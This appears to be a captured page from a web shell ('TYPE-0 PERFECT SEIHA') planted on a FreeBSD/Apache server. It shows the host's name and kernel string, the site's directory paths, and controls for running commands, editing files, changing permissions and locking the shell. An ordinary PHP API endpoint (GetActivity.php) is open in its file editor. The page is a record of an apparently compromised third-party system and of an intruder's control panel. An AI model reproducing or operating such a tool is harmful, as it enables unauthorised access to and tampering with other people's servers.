TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
2
root
app
Rest
Activity
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/2/root/app/Rest/Activity/GetActivity.php
<?php /** * Copyright (c) Jan Pospisil (http://www.jan-pospisil.cz) */ namespace Rest\Activity; use Application\Identity; use Model\Activity\Activity; use Nette\Database\Context; use Nette\Utils\Validators; use RestServer\Exceptions\AuthenticationException; use RestServer\Exceptions\BadRequestException; use RestServer\Exceptions\ForbiddenRequestException; use RestServer\Exceptions\MissingRequiredParameterException; use RestServer\IParametrs; use RestServer\IPresenter; use RestServer\Response; use Tracy\Debugger; /** * Get List of activity * @param ( * required = 1, * name = api_key, * type = string * ) * @param ( * name = limit, * type = int (default = 10)) * ) * @author Jan Pospisil */ class GetActivity extends \Nette\Object implements IPresenter { private $connection; private $identity; public function __construct(Context $context, Identity $identity){ $this->connection = $context; $this->identity = $identity; } public function run(IParametrs $parameters, Response $response) { if(!$this->identity->id) throw new AuthenticationException('ApiKey is required.'); $limit = $parameters->get('limit'); if(!$limit) $limit = 10; if(!Validators::isNumericInt($limit)) throw new BadRequestException('Parameter limit mus be number.'); $result = $this->connection->table('activity')->limit($limit)->order('id DESC'); $data = array(); foreach($result as $row){ $data[] = Activity::getActivity($row); } $response->data = $data; } public static function getReturnExample(){ return array(Activity::getExampleActivity(),Activity::getExampleActivity()); } }
Crotin
Name
Size
Permissions
Modified
User/Group
GetActivity.php
1648
0644
2016-04-13 01:01:14
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin